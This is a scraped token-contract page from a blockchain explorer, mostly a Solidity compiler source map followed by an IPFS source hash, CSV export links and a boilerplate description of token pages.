;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;17515:48:0::1;::::0;;14296:25:1;;;14352:2;14337:18;;14330:34;;;17515:48:0::1;::::0;-1:-1:-1;14269:18:1;17515:48:0::1;;;;;;;17213:362;-1:-1:-1::0;;7402:6:0;:14;;-1:-1:-1;;7402:14:0;;;-1:-1:-1;;;;;;;;16029:1553:0:o;13668:936::-;13797:18;;13844:4;;13754:7;;13797:18;-1:-1:-1;;;;;13844:4:0;;;13831:17;;;;13828:154;;-1:-1:-1;13878:14:0;;13828:154;;;13923:4;;-1:-1:-1;;;;;13923:4:0;;;13913:14;;;;13910:72;;-1:-1:-1;13957:13:0;;13910:72;13994:17;14014:62;14055:14;;14072:3;14055:20;;;;:::i;:::-;14014:36;14039:10;14014:20;14025:8;;14014:6;:10;;:20;;;;:::i;:62::-;13994:82;;14089:18;14110:36;14137:8;;14110:22;14124:7;;14110:9;:13;;:22;;;;:::i;:36::-;14089:57;-1:-1:-1;14157:22:0;14182:25;:9;14089:57;14182:13;:25::i;:::-;14265:4;14247:24;;;;:9;:24;;;;;;14157:50;;-1:-1:-1;14247:44:0;;14157:50;14247:28;:44::i;:::-;14238:4;14220:24;;;;:9;:24;;;;;;:71;;;;14341:15;;-1:-1:-1;;;;;14341:15:0;14331:26;;;;:42;;14362:10;14331:30;:42::i;:::-;14312:15;;-1:-1:-1;;;;;14312:15:0;;;14302:26;;;;:9;:26;;;;;;;;;:71;;;;14389:47;529:25:1;;;14414:4:0;;14389:47;;;;-1:-1:-1;;;;;;;;;;;14389:47:0;502:18:1;14389:47:0;;;;;;;14460:14;;14457:99;;14512:15;;14495:45;;529:25:1;;;-1:-1:-1;;;;;14512:15:0;;;;14495:45;;;-1:-1:-1;;;;;;;;;;;14495:45:0;517:2:1;502:18;14495:45:0;;;;;;;14457:99;14575:21;:6;14586:9;14575:10;:21::i;:::-;14568:28;13668:936;-1:-1:-1;;;;;;;;13668:936:0:o;221:181::-;279:7;;311:5;315:1;311;:5;:::i;:::-;299:17;;340:1;335;:6;;327:46;;;;-1:-1:-1;;;327:46:0;;14577:2:1;327:46:0;;;14559:21:1;14616:2;14596:18;;;14589:30;14655:29;14635:18;;;14628:57;14702:18;;327:46:0;14375:351:1;14:118;100:5;93:13;86:21;79:5;76:32;66:60;;122:1;119;112:12;137:241;193:6;246:2;234:9;225:7;221:23;217:32;214:52;;;262:1;259;252:12;214:52;301:9;288:23;320:28;342:5;320:28;:::i;565:173::-;633:20;;-1:-1:-1;;;;;682:31:1;;672:42;;662:70;;728:1;725;718:12;662:70;565:173;;;:::o;743:254::-;811:6;819;872:2;860:9;851:7;847:23;843:32;840:52;;;888:1;885;878:12;840:52;911:29;930:9;911:29;:::i;:::-;901:39;987:2;972:18;;;;959:32;;-1:-1:-1;;;743:254:1:o;1002:597::-;1114:4;1143:2;1172;1161:9;1154:21;1204:6;1198:13;1247:6;1242:2;1231:9;1227:18;1220:34;1272:1;1282:140;1296:6;1293:1;1290:13;1282:140;;;1391:14;;;1387:23;;1381:30;1357:17;;;1376:2;1353:26;1346:66;1311:10;;1282:140;;;1440:6;1437:1;1434:13;1431:91;;;1510:1;1505:2;1496:6;1485:9;1481:22;1477:31;1470:42;1431:91;-1:-1:-1;1583:2:1;1562:15;-1:-1:-1;;1558:29:1;1543:45;;;;1590:2;1539:54;;1002:597;-1:-1:-1;;;1002:597:1:o;1604:180::-;1663:6;1716:2;1704:9;1695:7;1691:23;1687:32;1684:52;;;1732:1;1729;1722:12;1684:52;-1:-1:-1;1755:23:1;;1604:180;-1:-1:-1;1604:180:1:o;1981:248::-;2049:6;2057;2110:2;2098:9;2089:7;2085:23;2081:32;2078:52;;;2126:1;2123;2116:12;2078:52;-1:-1:-1;;2149:23:1;;;2219:2;2204:18;;;2191:32;;-1:-1:-1;1981:248:1:o;2234:328::-;2311:6;2319;2327;2380:2;2368:9;2359:7;2355:23;2351:32;2348:52;;;2396:1;2393;2386:12;2348:52;2419:29;2438:9;2419:29;:::i;:::-;2409:39;;2467:38;2501:2;2490:9;2486:18;2467:38;:::i;:::-;2457:48;;2552:2;2541:9;2537:18;2524:32;2514:42;;2234:328;;;;;:::o;2567:260::-;2635:6;2643;2696:2;2684:9;2675:7;2671:23;2667:32;2664:52;;;2712:1;2709;2702:12;2664:52;2735:29;2754:9;2735:29;:::i;:::-;2725:39;;2783:38;2817:2;2806:9;2802:18;2783:38;:::i;:::-;2773:48;;2567:260;;;;;:::o;2832:406::-;2895:6;2903;2956:2;2944:9;2935:7;2931:23;2927:32;2924:52;;;2972:1;2969;2962:12;2924:52;3011:9;2998:23;3030:28;3052:5;3030:28;:::i;:::-;3077:5;-1:-1:-1;3134:2:1;3119:18;;3106:32;3182:4;3169:18;;3157:31;;3147:59;;3202:1;3199;3192:12;3147:59;3225:7;3215:17;;;2832:406;;;;;:::o;3432:315::-;3497:6;3505;3558:2;3546:9;3537:7;3533:23;3529:32;3526:52;;;3574:1;3571;3564:12;3526:52;3597:29;3616:9;3597:29;:::i;:::-;3587:39;;3676:2;3665:9;3661:18;3648:32;3689:28;3711:5;3689:28;:::i;3752:186::-;3811:6;3864:2;3852:9;3843:7;3839:23;3835:32;3832:52;;;3880:1;3877;3870:12;3832:52;3903:29;3922:9;3903:29;:::i;3943:316::-;4020:6;4028;4036;4089:2;4077:9;4068:7;4064:23;4060:32;4057:52;;;4105:1;4102;4095:12;4057:52;-1:-1:-1;;4128:23:1;;;4198:2;4183:18;;4170:32;;-1:-1:-1;4249:2:1;4234:18;;;4221:32;;3943:316;-1:-1:-1;3943:316:1:o;4264:750::-;4356:6;4364;4372;4425:2;4413:9;4404:7;4400:23;4396:32;4393:52;;;4441:1;4438;4431:12;4393:52;4481:9;4468:23;4510:18;4551:2;4543:6;4540:14;4537:34;;;4567:1;4564;4557:12;4537:34;4605:6;4594:9;4590:22;4580:32;;4650:7;4643:4;4639:2;4635:13;4631:27;4621:55;;4672:1;4669;4662:12;4621:55;4712:2;4699:16;4738:2;4730:6;4727:14;4724:34;;;4754:1;4751;4744:12;4724:34;4809:7;4802:4;4792:6;4789:1;4785:14;4781:2;4777:23;4773:34;4770:47;4767:67;;;4830:1;4827;4820:12;4767:67;4861:4;4853:13;;;;-1:-1:-1;4885:6:1;-1:-1:-1;;4926:20:1;;4913:34;4956:28;4913:34;4956:28;:::i;:::-;5003:5;4993:15;;;4264:750;;;;;:::o;5227:309::-;5292:6;5300;5353:2;5341:9;5332:7;5328:23;5324:32;5321:52;;;5369:1;5366;5359:12;5321:52;5408:9;5395:23;5427:28;5449:5;5427:28;:::i;5541:356::-;5743:2;5725:21;;;5762:18;;;5755:30;5821:34;5816:2;5801:18;;5794:62;5888:2;5873:18;;5541:356::o;5902:184::-;5972:6;6025:2;6013:9;6004:7;6000:23;5996:32;5993:52;;;6041:1;6038;6031:12;5993:52;-1:-1:-1;6064:16:1;;5902:184;-1:-1:-1;5902:184:1:o;6780:245::-;6847:6;6900:2;6888:9;6879:7;6875:23;6871:32;6868:52;;;6916:1;6913;6906:12;6868:52;6948:9;6942:16;6967:28;6989:5;6967:28;:::i;7433:127::-;7494:10;7489:3;7485:20;7482:1;7475:31;7525:4;7522:1;7515:15;7549:4;7546:1;7539:15;7565:168;7605:7;7671:1;7667;7663:6;7659:14;7656:1;7653:21;7648:1;7641:9;7634:17;7630:45;7627:71;;;7678:18;;:::i;:::-;-1:-1:-1;7718:9:1;;7565:168::o;7738:217::-;7778:1;7804;7794:132;;7848:10;7843:3;7839:20;7836:1;7829:31;7883:4;7880:1;7873:15;7911:4;7908:1;7901:15;7794:132;-1:-1:-1;7940:9:1;;7738:217::o;7960:127::-;8021:10;8016:3;8012:20;8009:1;8002:31;8052:4;8049:1;8042:15;8076:4;8073:1;8066:15;8092:135;8131:3;8152:17;;;8149:43;;8172:18;;:::i;:::-;-1:-1:-1;8219:1:1;8208:13;;8092:135::o;9451:125::-;9491:4;9519:1;9516;9513:8;9510:34;;;9524:18;;:::i;:::-;-1:-1:-1;9561:9:1;;9451:125::o;10605:128::-;10645:3;10676:1;10672:6;10669:1;10666:13;10663:39;;;10682:18;;:::i;:::-;-1:-1:-1;10718:9:1;;10605:128::o;12004:980::-;12266:4;12314:3;12303:9;12299:19;12345:6;12334:9;12327:25;12371:2;12409:6;12404:2;12393:9;12389:18;12382:34;12452:3;12447:2;12436:9;12432:18;12425:31;12476:6;12511;12505:13;12542:6;12534;12527:22;12580:3;12569:9;12565:19;12558:26;;12619:2;12611:6;12607:15;12593:29;;12640:1;12650:195;12664:6;12661:1;12658:13;12650:195;;;12729:13;;-1:-1:-1;;;;;12725:39:1;12713:52;;12820:15;;;;12785:12;;;;12761:1;12679:9;12650:195;;;-1:-1:-1;;;;;;;12901:32:1;;;;12896:2;12881:18;;12874:60;-1:-1:-1;;;12965:3:1;12950:19;12943:35;12862:3;12004:980;-1:-1:-1;;;12004:980:1:o;13811:306::-;13899:6;13907;13915;13968:2;13956:9;13947:7;13943:23;13939:32;13936:52;;;13984:1;13981;13974:12;13936:52;14013:9;14007:16;13997:26;;14063:2;14052:9;14048:18;14042:25;14032:35;;14107:2;14096:9;14092:18;14086:25;14076:35;;13811:306;;;;;:::o

Swarm Source

ipfs://31e3af22ed069ece57d221c20d21ebda26f5f277f5467e4df7d0189b6c7832e1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.